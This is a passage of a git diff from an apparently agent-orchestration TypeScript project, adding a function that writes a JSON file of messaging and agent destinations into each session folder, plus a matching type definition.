deletePendingApproval(approval.approval_id); - - // Wake container so the agent's polling MCP tool picks up the response - if (session) { - await wakeContainer(session); - } + await wakeContainer(session); } /** Graceful shutdown. */ diff --git a/src/session-manager.ts b/src/session-manager.ts index 804c38dfd..1bd61be0d 100644 --- a/src/session-manager.ts +++ b/src/session-manager.ts @@ -11,6 +11,9 @@ import fs from 'fs'; import path from 'path'; import { DATA_DIR } from './config.js'; +import { getAgentGroup } from './db/agent-groups.js'; +import { getDestinations } from './db/agent-destinations.js'; +import { getMessagingGroup } from './db/messaging-groups.js'; import { createSession, findSession, findSessionByAgentGroup, getSession, updateSession } from './db/sessions.js'; import { log } from './log.js'; import { INBOUND_SCHEMA, OUTBOUND_SCHEMA } from './db/schema.js'; @@ -128,6 +131,46 @@ export function initSessionFolder(agentGroupId: string, sessionId: string): void } } +/** + * Write the destination map file into the session folder. + * Called before every container wake so admin changes take effect on next start. + * The container loads this at startup to know what destinations exist. + */ +export function writeDestinationsFile(agentGroupId: string, sessionId: string): void { + const dir = sessionDir(agentGroupId, sessionId); + if (!fs.existsSync(dir)) return; + + const rows = getDestinations(agentGroupId); + const destinations: Array> = []; + + for (const row of rows) { + if (row.target_type === 'channel') { + const mg = getMessagingGroup(row.target_id); + if (!mg) continue; + destinations.push({ + name: row.local_name, + displayName: mg.name ?? row.local_name, + type: 'channel', + channelType: mg.channel_type, + platformId: mg.platform_id, + }); + } else if (row.target_type === 'agent') { + const ag = getAgentGroup(row.target_id); + if (!ag) continue; + destinations.push({ + name: row.local_name, + displayName: ag.name, + type: 'agent', + agentGroupId: ag.id, + }); + } + } + + const filePath = path.join(dir, '.nanoclaw-destinations.json'); + fs.writeFileSync(filePath, JSON.stringify({ destinations }, null, 2)); + log.debug('Destination map written', { sessionId, count: destinations.length }); +} + /** Write a message to a session's inbound DB (messages_in). Host-only. */ export function writeSessionMessage( agentGroupId: string, diff --git a/src/types.ts b/src/types.ts index 0d6983dfc..ba374c818 100644 --- a/src/types.ts +++ b/src/types.ts @@ -99,3 +99,13 @@ export interface PendingApproval { payload: string; // JSON created_at: string; } + +// ── Agent destinations (central DB) ── + +export interface AgentDestination { + agent_group_id: string; + local_name: string; + target_type: 'channel' | 'agent'; + target_id: string; + created_at: string; +}